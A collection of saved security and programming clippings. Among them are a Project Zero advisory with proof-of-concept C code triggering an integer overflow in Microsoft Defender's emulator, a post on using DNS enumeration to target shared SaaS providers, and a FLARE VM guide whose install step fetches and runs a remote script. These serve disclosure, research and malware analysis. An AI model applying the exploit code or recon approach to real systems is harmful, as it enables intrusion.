resources related to SDL here.

Tim Burrell, MSEC security science.

# OpenRCE

**Created:**| _9/1/2009 6:05:53 PM_  
---|---  
**Updated:**| _9/1/2009 6:05:59 PM_  
**Author:**| __  
**Tags:**| _pydbg_  
  
**Pin Pointing Stack Smashes****Author: **pedram <img src='img/Temp2_5898.gif'
/>| **\# Views: **3265  
---|---  
This was originally posted over on my company blog site \(TippingPoint
DVLabs\). Since the DVLabs blog is new I'm cross posting here to draw some
traffic to it. Tracking down stack overflows is tedious work. Especially when
the entire stack is blown away leaving you with crash dumps like the excerpt
following this paragraph. This crash dump is from an actual process in case
you are curious. Specifically, it is from one of the bugs detailed in
TPTI-07-02: Trend Micro ServerProtect eng50.dll Stack Overflow
Vulnerabilities. It's pretty obvious that it's game over for our target here.
The important question to answer at this juncture is, where is the bug? There
are a number of approaches you can take to manually handle this situation.
Please add any creative ones you may have as a comment.

`  
[INVALID]:41414141 Unable to disassemble at 41414141 from thread 568  
caused access violation when attempting to read from 0x41414141  
  
CONTEXT DUMP  
EIP: 41414141 Unable to disassemble at 41414141  
EAX: 00000001 ( 1) - N/A  
EBX: 0259eedc ( 39448284) - AAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAA (stack)  
ECX: 00000000 ( 0) - N/A  
EDX: ffffffff (4294967295) - N/A  
EDI: 00000000 ( 0) - N/A  
ESI: 0259f102 ( 39448834) - AAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAA (stack)  
EBP: 00000001 ( 1) - N/A  
ESP: 0259e2d4 ( 39445204) - AAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAA (stack)  
+00: 41414141 (1094795585) - N/A  
+04: 41414141 (1094795585) - N/A  
+08: 41414141 (1094795585) - N/A  
+0c: 41414141 (1094795585) - N/A  
+10: 41414141 (1094795585) - N/A  
+14: 41414141 (1094795585) - N/A  
  
disasm around:  
0x41414141 Unable to disassemble  
`

In this blog entry, I present stack\_integrity\_monitor.py. A command line
utility implemented in under 150 lines of Python code which provides an
automated solution to the task of tracking down the source of a stack
overflow. This Python utility leverages PyDbg, a pure-Python win32 debugger
interface. PyDbg is part of the larger PaiMei Reverse Engineering Framework.
If you've never heard of PaiMei before, follow the link to learn more.

  

The main reason stack overflows are exploitable is because control information
is stored in the same medium as volatile user-controllable data. If we can
move or mirror the call-chain "out of band", then we can verify the integrity
of the stack at run-time. Skipping over the intricate details, here is the
high level overview of how the utility works:

  

1\. Instantiate a debugger object and attach to the target program.

2\. Set a breakpoint where we want the trace to start, this can be as simple
as setting a break on recv\(\).

3\. Once the breakpoint is hit, set the active thread to single step.

4\. When a CALL instruction is reached, copy the stack and return addresses to
an internal "mirror" list.

5\. When a RET instruction is reached, walk through the "mirror" list and
verify that the values match the actual stack.

6\. When the last saved return address is reached, pop it off the internal
"mirror" list.

  

If during the stack integrity check a mismatch is found, then not only do we
know that a stack overflow has occurred, but we know which functions frame the
overflow originated in and we can pinpoint the cause of the overflow. Using
Trend Micro again as a real-world example, the previously shown \(and mostly
useless\) crash dump turns into the following \(very useful\) output when
launching the target under the peering eyes of stack\_integrity\_monitor.py:

`  
0259fc24: TmRpcSrv.dll.65741721  
0259e7b4: StRpcSrv.dll.65671190  
0259e7a8: Eng50.dll.61181d8c  
0259e790: Eng50.dll.611819a0  
0259e564: Eng50.dll.61181a50  
0259e2d0: Eng50.dll.61190fa4 -- 41414141  
0259e03c: Eng50.dll.61190fd2  
`

Examining the vicinity of the last return address in the list, we find:

`  
61190FC7 lea edx, [esp+288h+szShortPath]  
61190FCB push esi  
61190FCC push edx  
61190FCD call _wcscpy  
61190FD2 add esp, 8  
`

The wcscpy\(\) is the source of the stack overflow. The origin of the
overflowed buffer is obvious in this case, it resides in the current function
frame with a size of 600 bytes. Had the overflow occurred in a buffer
originating further up the call chain the stack\_integrity\_monitor would have
told us. In this case we see the stack mismatch occurred at stack address
0x0259e2d0 which should contain the return address 0x61190fa4 but instead
contains 0x41414141. Had even a single byte of the return address been
overwritten, stack\_integrity\_monitor would have detected it.

  

This handy command line utility has been checked into the PaiMei SVN
repository and will be distributed with future releases of the reverse
engineering framework. Future improvements may include speed boosts and
perhaps additionally mirroring saved frame pointers. This quick hack was
written in less than 2 hours and motivated from necessity, on a day where I
happened to need to track down a dozen or so stack overflows. Give it a try,
let me know what you think.

# Using DNS to Find High Value Targets ha.ckers.org web application security
lab

**Created:**| _6/16/2010 8:28:52 PM_  
---|---  
**Updated:**| _6/16/2010 8:29:14 PM_  
**Author:**| __  
**Tags:**| _attacks Footprinting DNS_  
  

## Using DNS to Find High Value Targets

With the impending release of Fierce 2.0 I thought I’d spend a minute talking
about finding high value targets. I was working with a company in a specific
vertical when I realized they use a very large single back end provider
\(essentially a cloud-based SaaS\). But they aren’t the only large company
using that SaaS - there are many hundreds of other companies using them as
well. But because I’m not in that particular industry and having not worked
much in that vertical, I had never even heard of them before. Frankly, I had
no idea that they even existed. Now let’s take a typical Fierce DNS
enumeration scan; it can find a lot of non-contiguous IP space, sure. But what
about when I launch scans against hundreds of companies in that same vertical?
Some interesting results start bubbling up.

Because companies tend to point their DNS to those SaaS providers for white
labeling, often you’ll see a convergence of a lot of sub-domains all pointing
to a single IP address or set of IP addresses. It doesn’t take a rocket
scientist to realize that you don’t need to attack the target you’re
interested in, you can attack the SaaS provider and take over not just one but
all of those companies in that vertical that use that provider. Even though
that may not be obvious by just probing the external network, DNS can
sometimes help to uncover those sorts of details. This happens a lot more than
most people realize, and in my experience those cloud based SaaS providers
aren’t any more secure than anyone else. It’s a lot more interesting to
compromise hundreds of companies for the price of one.

# dom.pdf

**Created:**| _8/3/2010 8:06:33 AM_  
---|---  
**Updated:**| _8/24/2010 12:53:41 PM_  
**Author:**| __  
**Tags:**| _research awesome_  
  
<img src='img/dom.pdf' /><img src='img/dom.pdf' /><img src='img/dom.pdf'
/><img src='img/dom.pdf' />

# Eli Bendersky's website » Blog Archive » Parsing C: more on \#line
directives

**Created:**| _9/8/2011 11:49:54 PM_  
---|---  
**Updated:**| _9/8/2011 11:49:54 PM_  
**Author:**| __  
**Tags:**| _C parser preprocessor_  
  

## Parsing C: more on `#line` directives

October 14th, 2008 at 9:23 am

In a previous post I discussed a few issues that make parsing real-world C a
tad more difficult than just translating the EBNF grammar into code. In
particular, `#line` directives are a challenge because they are not directly
specified by the grammar and require special handling.

After some consideration, I decided to heed the good advice given in this
comment and handle `#line` directives at the lexer, and not the parser, level.
As that comment rightly suggests, the following is a valid output of the C
pre-processor:

[code]

    int
    #line 5 "file"
    n = 9;
    
[/code]

Handling this at the level of the parser is close to impossible, because one
has to allow `#line` directives almost in any parser rule. This is difficult,
not to mention the readability and simplicity hit on the grammar specification
in the parser.

Anyway, moving this to the lexer wasn’t very difficult, and eventually
resulted in less code, which is a good sign. A fix that leaves less code but
implements an extra feature is probably the best you can wish for.

To implement this, I’ve defined `ppline` as an exclusive state in the lexer
\(recall that I’m using PLY for this project\). When the lexer sees a hash
symbol \(`#`\), it looks ahead, and if it sees `line`, it moves into this
state. If it sees anything else \(like `pragma`\), it doesn’t move into the
special state and keeps sending the tokens to the parser. In the `ppline`
state, the lexer collects the line number and possibly file name until it sees
the end of the line, updates its local location and doesn’t send anything to
the parser. Thus, `#line` directives are transparent for the parser – it
doesn’t see them at all, and only receives tokens with a different location
after them.

And now, since the location is kept in the parser and not the lexer, the code
is somewhat simpler. Additionaly, I no longer need special workaround rules in
the parser to accept `#line` directives in weird places.

# CodeIgniter From Scratch: Day 1 | Nettuts+
**Created:**| _4/16/2010 3:08:13 PM_  
---|---  
**Updated:**| _4/16/2010 3:12:29 PM_  
**Author:**| __  
**Tags:**| _bookmark web programming php_  
  
After numerous requests, today we are launching a new screencast series on
Nettuts+ that will focus exclusively on the CodeIgniter PHP framework. Over
the course of about 10 **videos** , I’ll teach you exactly how to use this
framework. Ultimately, we’ll work our way up to building a custom CMS. Without
further ado, here’s day one\!

# FLARE VM: The Windows Malware Analysis Distribution You’ve Always Needed\! «
Threat Research Blog

**Created:**| _9/4/2017 9:44:53 AM_  
---|---  
**Updated:**| _9/4/2017 9:44:53 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# FLARE VM: The Windows Malware Analysis Distribution You’ve Always Needed\!

July 26, 2017 |  by Peter Kacherginsky | Threat Research
As a reverse engineer on the FLARE Team I rely on a customized Virtual Machine
\(VM\) to perform malware analysis. The Virtual Machine is a Windows
installation with numerous tweaks and tools to aid my analysis. Unfortunately
trying to maintain a custom VM like this is very laborious: tools frequently
get out of date and it is hard to change or add new things. There is also a
constant fear that if the VM gets corrupted it would be super tedious to
replicate all of the settings and tools that I’ve built up over the years. To
address this and many related challenges, I have developed a standardized
\(but easily customizable\) Windows-based security distribution called FLARE
VM.

FLARE VM is a freely available and open sourced Windows-based security
distribution designed for reverse engineers, malware analysts, incident
responders, forensicators, and penetration testers. Inspired by open-source
Linux-based security distributions like Kali Linux, REMnux and others, FLARE
VM delivers a fully configured platform with a comprehensive collection of
Windows security tools such as debuggers, disassemblers, decompilers, static
and dynamic analysis utilities, network analysis and manipulation, web
assessment, exploitation, vulnerability assessment applications, and many
others.

The distribution also includes the FLARE team’s public malware analysis tools
such as FLOSS and FakeNet-NG.

#### How To Get It

You are expected to have an existing installation of Windows 7 or above. This
allows you to choose the exact Windows version, patch level, architecture and
virtualization environment yourself.

Once you have that available, you can quickly deploy the FLARE VM environment
by visiting the following URL in **Internet Explorer** \(other browsers are
not going to work\):

**_http://boxstarter.org/package/url?_**_https://raw.githubusercontent.com/fireeye/flare-
vm/master/flarevm\_malware.ps1_

After you navigate to the above URL in the Internet Explorer, you will be
presented with a _Boxstarter WebLauncher_ dialog. Select **Run** to continue
the installation as illustrated in Figure 1.

<img src='img/Temp2_3078.png' width='844' height='636' />  
Figure 1: FLARE VM Installation

Following successful installation of Boxstarter WebLauncher, you will be
presented with a console window and one more prompt to enter your Windows
password as shown in Figure 2. Your Windows password is necessary to restart
the machine several times during the installation without prompting you to
login every time.

<img src='img/Temp2_3073.png' width='802' height='90' />  
Figure 2: Boxstarter Password Prompt

The rest of the process is fully automated, so prepare yourself a cup of
coffee or tea. Depending on your connection speed, the initial installation
takes about 30-40 minutes. Your machine will also reboot several times due to
the numerous software installation’s requirements. During the deployment
process, you will see installation logs of a number of packages.

Once the installation is complete, it is highly recommended to switch the
Virtual Machine networking settings to Host-Only mode so that malware samples
would not accidentally connect to the Internet or local network. Also, take a
fresh virtual machine snapshot so this clean state is saved\! The final FLARE
VM installation should look like Figure 3.

<img src='img/Temp2_3077.png' width='844' height='522' />  
Figure 3: FLARE VM installation

NOTE: If you encounter a large number of error messages, try to simply restart
the installation. All of the existing packages will be preserved and new
packages will be installed.

#### Getting Started

The VM configuration and the included tools were either developed or carefully
selected by the members of the FLARE team who have been reverse engineering
malware, analyzing exploits and vulnerabilities, and teaching malware analysis
classes for over a decade. All of the tools are organized in the directory
structure shown in Figure 4.

<img src='img/Temp2_3082.png' width='844' height='523' />Figure 4: FLARE VM
Tools

While we attempt to make the tools available as a shortcut in the FLARE
folder, there are several available from command-line only. Please see the
online documentation at http://flarevm.info for the most up to date list.

#### Sample Analysis

In order to best illustrate how FLARE VM can assist in malware analysis tasks
let’s perform a basic analysis on one of the samples we use in our Malware
Analysis Crash Course.

First, let’s obtain some basic indicators by looking at the strings in the
binary. For this exercise, we are going to run FLARE’s own FLOSS tool, which
is a strings utility on steroids. Visit http://flosseveryday.info for
additional information about the tool. You can launch it by clicking on the
FLOSS icon in the taskbar and running it against the sample as illustrated in
Figure 5.

<img src='img/Temp2_3081.png' width='844' height='297' />  
Figure 5: Running FLOSS

Unfortunately, looking over the resulting strings in Figure 6 only one string
really stands out and it is not clear how it is used.

<img src='img/Temp2_3083.png' width='844' height='399' />  
Figure 6: Strings Analysis

Let’s dig a bit more into the binary by opening up CFF Explorer in order to
analyze sample’s imports, resources, and PE header structure. CFF Explorer and
a number of other utilities are available in the FLARE folder that can be
accessed from the Desktop or the Start menu as illustrated in Figure 7.

<img src='img/Temp2_3075.png' width='844' height='521' />  
Figure 7: Opening Utilities

While analyzing the PE header, there were several indicators that the binary
contains a resource object with an additional payload. For example, the Import
Address Table contained relevant Windows API calls such as LoadResource,
FindResource and finally WinExec. Unfortunately, as you can see in Figure 8
the embedded payload “BIN” contains junk so it is likely encrypted.

<img src='img/Temp2_3080.png' width='844' height='520' />  
Figure 8: PE Resource

At this point, we could continue the static analysis or we could “cheat” a bit
by switching over to basic dynamic analysis techniques. Let’s attempt to
quickly gather basic indicators by using another FLARE tool called FakeNet-NG.
FakeNet-NG is a dynamic network emulation tool which tricks malware into
revealing its network functionality by presenting it with fake services such
as DNS, HTTP, FTP, IRC and many others. Please visit http://fakenet.info for
additional information about the tool.

Also, let’s launch Procmon from Sysinternals Suite in order to monitor all of
the File, Registry and Windows API activity as well. You can find both of
these frequently used tools in the taskbar illustrated in Figure 9.

<img src='img/Temp2_3072.png' width='844' height='521' />  
Figure 9: Dynamic Analysis

After executing the sample with Administrator privileges, we quickly find
excellent network- and host–based indicators. Figure 10 shows FakeNet-NG
responding to malware’s attempt to communicate with _evil.mandiant.com_ using
HTTP protocol. Here we capture useful indicators such as a complete HTTP
header, URL and a potentially unique User-Agent string. Also, notice that
FakeNet-NG is capable of identifying the exact process communicating which is
_level1\_payload.exe_. This process name corresponds to the unique string that
we have identified in the static analysis, but couldn’t understand how it was
used.

<img src='img/Temp2_3079.png' width='844' height='519' />Figure 10: FakeNet-NG

Comparing our findings with the output of Procmon in Figure 11, we can confirm
that the malware is indeed responsible for creating _level1\_payload.exe_
executable in the system32 folder.

<img src='img/Temp2_3074.png' width='844' height='522' />  
Figure 11: Procmon

As part of the malware analysis process, we could continue digging deeper by
loading the sample in a disassembler and performing further analysis inside a
debugger. However, I would not want to spoil this fun for our Malware Analysis
Crash Course students by sharing all the answers here. That said all of the
relevant tools to perform such analysis are already included in the
distribution such as IDA Pro and Binary Ninja disassemblers, a nice collection
of debuggers and several plugins, and many others to make your reverse
engineering tasks as convenient as possible.

#### Have It Your Way

FLARE VM is a constantly growing and changing project. While we try to cover
as many use-case scenarios as possible it is simply impossible due to the
nature of the project. Luckily, FLARE VM is extremely easy to customize
because it was built on top of the Chocolatey project. Chocolatey is a
Windows-based package management system with thousands of packages. You can
find the list here: https://chocolatey.org/packages. In addition to the public
Chocolatey repository, FLARE VM uses our own FLARE repository which constantly
growing and currently contains about 40 packages.

What all this means is that if you want to quickly add some package, let’s say
Firefox, you no longer have to navigate to the software developer’s website.
Simply open up a console and type in the command in Figure 12 to automatically
download and install any package:

<img src='img/Temp2_3076.png' width='844' height='553' />  
Figure 12: Installing packages

In a few short moments, Firefox icon is going to appear on your Desktop with
no user interaction necessary.

#### Staying up to date

As I’ve mentioned in the beginning, one of the hardest challenges of unmanaged
Virtual Machine is trying to keep all the tools up to date. FLARE VM solves
this problem. You can completely update the entire system by simply running
the command in Figure 13.

<img src='img/Temp2_3084.png' width='844' height='548' />  
Figure 13: Staying up to date

If any of the installed packages have newer versions, they will be
automatically downloaded and installed.

_NOTE: Don’t forget to take another clean snapshot of an updated system and
set networking back to Host-Only._

#### Conclusion

I hope you enjoy this new free tool and will adopt it as another trusted
resource to perform reverse engineering and malware analysis tasks. Next time
you need to set up a new malware analysis environment, try out FLARE VM\!

In these few pages, we could only scratch the surface of everything that FLARE
VM is capable of; however, feel free to leave your comments, tool requests,
and bugs on our Github issues page here: https://github.com/fireeye/flare-vm
or http://flarevm.info/.

This entry was posted on Wed Jul 26 12:31:00 EDT 2017 and filed under FLARE,
Fakenet, Latest Blog Posts, Malware, Peter Kacherginsky, Threat Research,
Threat Research, open source, and open source tools.

  

# Microsoft MsMpEng Multiple Problems Handling ntdll\!NtControlChannel
Commands - CXSecurity.com

**Created:**| _5/28/2017 10:57:08 PM_  
---|---  
**Updated:**| _5/28/2017 10:57:08 PM_  
**Author:**| __  
**Tags:**| _antivirus_  
  

  

|

####

#### **Microsoft MsMpEng Multiple Problems Handling ntdll\!NtControlChannel
Commands**

| **Published**| **Credit** | **Risk**  
---|---|---  
###### 2017.05.27

|

######  Google Security Research

|

######  Medium  
**CWE** | **CVE** | **Local** | **Remote**  
---|---|---|---  
**

###### N/A

** | **
###### N/A

** | 
###### No

|

###### **Yes**  
---  
MsMpEng includes a full system x86 emulator that is used to execute any
untrusted files that look like PE executables. The emulator runs as NT
AUTHORITY\SYSTEM and isn't sandboxed.  
  
Browsing the list of win32 APIs that the emulator supports, I noticed
ntdll\!NtControlChannel, an ioctl-like routine that allows emulated code to
control the emulator.  
  
You can simply create an import library like this and then call it from
emulated code:  
  
$ cat ntdll.def  
LIBRARY ntdll.dll  
EXPORTS  
NtControlChannel  
$ lib /def:ntdll.def /machine:x86 /out:ntdll.lib /nologo  
Creating library ntdll.lib and object ntdll.exp  
$ cat intoverflow.c  
\#include <windows.h>  
\#include <stdint.h>  
\#include <stdlib.h>  
\#include <limits.h>  
  
\#pragma pack\(1\)  
  
struct \{  
uint64\_t start\_va;  
uint32\_t size;  
uint32\_t ecnt;  
struct \{  
uint16\_t opcode;  
uint16\_t flags;  
uint32\_t address;  
\} data;  
\} microcode;  
  
int main\(int argc, char \*\*argv\)  
\{  
microcode.start\_va = \(uint64\_t\) GetProcAddress; // just some trusted page  
microcode.size = 1;  
microcode.ecnt = \(UINT32\_MAX + 1ULL + 8ULL\) / 8;  
microcode.data.opcode = 0x310f; // rdtsc  
microcode.data.flags = 0;  
microcode.data.address = microcode.start\_va;  
NtControlChannel\(0x12, &microcode\);  
\_asm rdtsc  
return 0;  
\}  
$ cl intoverflow.c ntdll.lib  
Microsoft \(R\) C/C++ Optimizing Compiler Version 18.00.31101 for x86  
Copyright \(C\) Microsoft Corporation. All rights reserved.  
  
intoverflow.c  
Microsoft \(R\) Incremental Linker Version 12.00.31101.0  
Copyright \(C\) Microsoft Corporation. All rights reserved.  
  
/out:intoverflow.exe  
intoverflow.obj  
ntdll.lib  
  
  
It's not clear to me if this was intended to be exposed to attackers, but
there are problems with many of the IOCTLs.  
  
\* Command 0x0C allows allows you to parse arbitrary-attacker controlled
RegularExpressions to Microsoft GRETA \(a library abandoned since the early
2000s\). This library is not safe to process untrusted Regex, a testcase that
crashes MsMpEng attached. Note that only packed executables can use RegEx, the
attached sample was packed with UPX. ¯\\\_\(ツ\)\_/¯  
  
\* Command 0x12 allows you to load additional "microcode" that can replace
opcodes. At the very least, there is an integer overflow calculating number of
opcodes provided \(testcase attached\). You can also redirect execution to any
address on a "trusted" page, but I'm not sure I understand the full
implications of that.  
  
\* Various commands allow you to change execution parameters, set and read
scan attributes and UFS metadata \(example attached\). This seems like a
privacy leak at least, as an attacker can query the research attributes you
set and then retrieve it via scan result.  
  
The password for all archives is "msmpeng".  
  
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
  
I noticed additional routines \(like NTDLL.DLL\!ThrdMgr\_SwitchThreads\) that
could not be imported, and looked into how they work.  
  
It turns out the emulator defines a new opcode called "apicall" that has an
imm32 operand. If you disassemble one of the routines that can be imported,
you'll see a small stub that uses an undefined opcode - that is an apicall. To
use the apicall instruction, you need to calculate crc32\(modulename\) ^
crc32\(procname\), and then use that as the 32 bit immediate operand.  
  
If you think that sounds crazy, you're not alone.  
  
So if we wanted to call NTDLL.DLL\!MpUfsMetadataOp, we would need to calculate
crc32\("NTDLL.DLL"\) ^ crc32\("MpUfsMetadataOp"\), then encode that as 0x0f
0xff 0xf0 <result>. There is an example wrapper in C that demonstrates its
usage below.  
  
I'm planning to wait to see if Microsoft really intended to expose these
additional apis to attackers before I audit more of them. It looks like the
other architectures, like MSIL, also have an apicall instruction.  
  
Filename: apicall.c  
The password for all archives is "msmpeng"  
  
PoC:  

**

##### _References:_

**

https://bugs.chromium.org/p/project-zero/issues/detail?id=1260

* * *  
---  
**See this note in RAW Version**

|  |  |  <img src='img/Temp2_5357.png' width='50' height='50' alt='Bugtraq RSS' />  
**Bugtraq** |  |  <img src='img/Temp2_5357.png' width='50' height='50' alt='CVE RSS' />  
**CVEMAP** |  |  <img src='img/Temp2_5360.png' width='50' height='50' alt='REDDIT' />  
**REDDIT** |  |  <img src='img/Temp2_5359.png' width='50' height='50' alt='DIGG' />  
**DIGG** |  |  <img src='img/Temp2_5358.png' width='50' height='50' alt='LinkedIn' />  
**LinkedIn**  
---|---|---|---|---|---|---|---|---|---|---|---  
  
  
  

# Pascal Style Languages: Pascal, Ada, PL/pgSQL, SQL/PSM - Hyperpolyglot

**Created:**| _10/11/2011 6:32:10 PM_  
---|---  
**Updated:**| _10/11/2011 6:32:10 PM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Hyperpolyglot

Pascal Style Languages: Pascal, Ada, PL/pgSQL, SQL/PSM

_a side-by-side reference sheet_

arithmetic and logic | strings | containers | functions | execution control | environment and i/o | libraries and modules | objects | reflection | contact | edit
| pascal \(1970, 1991\)| ada \(1979, 1995\)| pl/pgsql \(1988, 1998\)| sql/psm
\(1996\)  
---|---|---|---|---  
hello-word| $ cat hello.pas  
program hello;  
begin  
writeln\('hello world\!'\);  
end.  
$ fpc hello.pas  
$ ./hello| $ cat hello.adb  
with Text\_IO; use Text\_IO;  
procedure Hello is  
begin  
Put\_Line \("Hello World\!"\);  
end Hello;  
$ gnatgcc -c hello.adb  
$ gnatbind hello  
$ gnatlink hello  
$ ./hello  
Hello World\!| _at psql prompt:_  
> create or replace function hello\(\)  
> returns varchar as $$  
> begin  
> return 'Hello World\!';  
> end;  
> $$ language plpgsql;  
CREATE FUNCTION  
> select hello\(\);  
hello  
\--------------  
Hello World\!  
\(1 row\)| _at mysql prompt:_  
> create function hello\(\) returns varchar\(20\)  
> return 'Hello World\!';  
Query OK, 0 rows affected \(0.00 sec\)  
> select hello\(\);  
\--------------  
Hello World\!  
1 row in set \(0.10 sec\)  
version used| Free Pascal 2.4.0| GNAT GCC 4.1.2| Postgres 8.4| MySQL 5.5.2
_with this setting:_  
set sql\_mode='ANSI';  
version| fpc -v| gnatgcc \--version| psql \--version| mysql5 \--version  
comment| \(\* _comment line_  
_another line_ \*\)  
\{ _comment line_  
_another line_ \}| \-- _comment line_  
\-- _another line_|  \-- _comment line_  
\-- _another line_|  \-- _comment line_  
\-- _another line_  
case sensitive|  _no_|  _no_|  _no_|  _no_  
declare constant, type, and variable| program foo;  
const  
PI : real = 3.14159;  
type  
customer = record  
id : integer;  
name : string;  
end;  
var  
i : integer;  
c : customer;  
begin  
 _body of program_|  procedure Foo is  
Pi : constant FLOAT := 3.14;  
i : INTEGER;  
type Customer is record  
Id : INTEGER;  
Name : String\(1..4\);  
end record;  
C: Customer;  
begin  
 _body of program_|  create type customer as \( id integer, name text \);  
  
create or replace function foo\(\) returns void as $$  
declare  
pi numeric\(10,4\) = 3.14;  
i integer = 42;  
c customer%rowtype;  
begin  
return;  
end $$ language plpgsql;| delimiter |  
  
create function foo\(\)  
returns text  
begin  
declare pi numeric\(10,4\);  
declare i int;  
set i = 7;  
return 'hello';  
end |  
  
delimiter ;  
assignment| x := 1;| x := 1;| x = 1;| set x = 1;  
pointer declaration| ip : ^integer;| type Integer\_Pointer is access Integer;  
Ip : Integer\_Pointer;| _none_|  _none_  
allocate memory| new\(ip\);| Ip := new Integer;| _none_|  _none_  
free memory| dispose\(ip\);| | _none_|  _none_  
dereference pointer| ip^ := 7;  
ans := 6 \* ip^;| Ip.all := 7;  
ans := 6 \* Ip.all;| _none_|  _none_  
null literal|  _can only be assigned to pointers:_  
nil|  _can only be assigned to access types:_  
null| NULL| NULL  
null test| x = nil| x = null| x is NULL  
x = NULL _is always false_|  x is NULL  
x = NULL _is always false_  
coalesce|  _none_| |  7 + coalesce\(x, 0\)| 7 + coalesce\(x, 0\)  
nullif|  _none_| |  nullif\(x, 0\)| nullif\(x, 0\)  
conditional expression|  _none_| |  case when x > 0 then x else -x end| case when x > 0 then x else -x end  
arithmetic and logic  
| pascal| ada| pl/pgsql| sql/psm  
boolean type| boolean| BOOLEAN| BOOL BOOLEAN| BOOL BOOLEAN  
true and false literals| true false| TRUE FALSE| TRUE FALSE| TRUE FALSE  
falsehoods| false  
_non booleans cause error in boolean context_|  FALSE  
_non booleans cause error in boolean context_|  FALSE NULL 0  
_strings and floats cause error in boolean context_|  FALSE NULL 0 0.0  
_non-zero numbers are_ TRUE _in boolean context; strings are_ FALSE _in
boolean context_  
logical operators| and or xor not| and or xor not| AND OR _none_ NOT| AND OR
XOR NOT _also:_ && || \!  
short circuit operators| and\_then  
or\_else| and then  
or else| AND  
OR|  _none_  
integer types| integer| | |   
floating point types| real| | |   
relational operators| = <> < > <= >=| = /= < > <= >=| = \!= _also:_ <> < > <=
>=| = \!= _also:_ <> < > <= >=  
convert string to number| uses sysutils;  
7 + StrToInt\('12'\)  
73.9 + StrToFloat\('.037'\)| | |   
convert number to string| uses sysutils;  
'value: ' + IntToStr\(8\)  
'value: ' + FloatToStr\(3.14\)| | |   
arithmetic operators| \+ - \* / div mod _none_|  \+ - \* _none_ / mod _or_ rem
\*\*| \+ - \* _??_ / % ^| \+ - \* / div % pow\(_base_ ,_exp_\)  
float division of integers| 3 / 7| Float\(3\)/Float\(7\)| 3 \* 1.0 / 7| 3 / 7  
arithmetic functions| sqrt exp ln sin cos _??_ _??_ _??_ arctan _??_| _in
context clause:_  
with Ada.Numerics.Elementary\_Functions;  
use Ada.Numerics.Elementary\_Functions;  
_available functions:_  
Sqrt Exp Log Sin Cos Tan Arcsin Arccos _none_ Arctan| sqrt exp ln sin cos tan
asin acos atan atan2| sqrt exp ln sin cos tan asin acos atan atan2  
arithmetic truncation| round trunc _??_ _??_| _return Float:_  
Float'Rounding _??_ Float'Ceiling Float'Floor| round trunc ceil floor| round
truncate\(_numeric_ , 0\) ceil floor  
min and max| | | least\(1,2,3\)  
greatest\(1,2,3\)| least\(1,2,3\)  
greatest\(1,2,3\)  
division by zero|  _raises_ EDivByZero|  _raises_ CONSTRAINT\_ERROR|  _raises_
division\_by\_zero| NULL  
integer overflow|  _modular arithmetic_|  _modular arithmetic_|  _raises_
numeric\_value\_out\_of\_range|  _modular arithmetic_  
float overflow|  _raises_ EOverflow| +Inf\*\*\*\*\*\*\*| _raises_
numeric\_value\_out\_of\_range| NULL  
sqrt -2|  _raises_ EInvalidOp|  _raises_ ADA.NUMERICS.ARGUMENT\_ERROR|
_raises_ invalid\_argument\_for\_power\_function| NULL  
random integer, random float| random\(100\)  
random| with Ada.Numerics.Float\_Random;  
with Ada.Numerics.Discrete\_Random;  
use Ada.Numerics;  
procedure Foo is  
type Rand\_Range is range 0..99;  
package Rand\_Int is new Discrete\_Random\(Rand\_Range\);  
IG : Rand\_Int.Generator;  
FG : Float\_Random.Generator;  
begin  
 _use_ Rand\_Int.Random\(IG\)  
 _use_ Float\_Random.Random\(FG\)| floor\(100 \* random\(\)\)  
random\(\)| floor\(100 \* rand\(\)\)  
rand\(\)  
bit operators| shl shr and or xor not| |  << >> & | ^ ~|  << >> & | ^ ~  
strings  
| pascal| ada| pl/pgsql| sql/psm  
string literal| 'Don''t say "foo"'| "Don't say ""foo"""| 'Don''t say "foo"'|
'Don''t say "foo"'  
_TRADITIONAL:_  
"Don't say ""foo"""  
fixed length string type| |  _error unless string length is_ n  
STRING\(1.._n_\)  
_length can be omitted if initialized with literal in declaration_|  _pads
length to_ n _with spaces:_  
char\(_n_\)| _pads to length_ n _with spaces_  
char\(_n_\)  
bounded length string type| | |  _error if_ n _exceeded:_  
varchar\(_n_\)| _truncates with warning if_ n _exceeded:_  
varchar\(_n_\)  
unbounded length string type| | | text|  _none_  
character type| | CHARACTER| char\(1\)| char\(1\)  
chr and ord| chr\(65\)  
ord\('A'\)| | chr\(65\)  
ascii\('A'\)| char\(65\)  
ord\('A'\)  
concatenate| 'hello' + ' world'| "hello" & " world"| 'hello' || ' world'|
'hello' || ' world'  
_TRADITIONAL:_  
concat\("hello", " world"\)  
length| length\('hello'\)| | length\('hello'\)| length\('hello'\)  
extract substring| copy\(s, 1, 4\)| | substr\('hello', 1, 4\)| substr\('hello', 1, 4\)  
index of substring| pos\('hell', 'hello'\)| | strpos\('hello', 'hell'\)| locate\('hello', 'hell'\)  
case manipulation| uses sysutils;  
UpperCase\('hello'\)  
LowerCase\('HELLO'\)| | upper\('hello'\)  
lower\('HELLO'\)| upper\('hello'\)  
lower\('HELLO'\)  
strip| Trim\(' foo '\)  
TrimLeft\(' foo'\)  
TrimRight\('foo '\)| | trim\(' foo '\)  
ltrim\(' foo'\)  
rtrim\('foo '\)| trim\(' foo '\)  
ltrim\(' foo'\)  
rtrim\('foo '\)  
pad on left, pad on right| | | lpad\('foo', 10\)  
rpad\('foo', 10\)| lpad\('foo', 10, ' '\)  
rpad\('foo', 10, ' '\)  
containers  
| pascal| ada| pl/pgsql| sql/psm  
declare array| a : array\[1..5\] of integer;| A : array\(1..5\) of Integer;| a
int\[\];| create temporary table a \( i int not null auto\_increment, v int,
primary key \(i\) \);  
array length| | A'Last| array\_length\(a, 1\)| declare a\_length int;  
select count\(\*\) into a\_length from a;  
array element access| a\[1\] := 3;| A\(1\) := 3;| a\[1\] = 3;| declare elem
int;  
select v into elem from a where i = 1;  
array initialization| | A : array\(1..5\) of Integer := \(1,3,5,2,4\);| a int\[\] = array\[1,3,5,2,4\];| truncate table a;  
insert into a \(v\) values \(1\), \(3\), \(5\), \(2\), \(4\);  
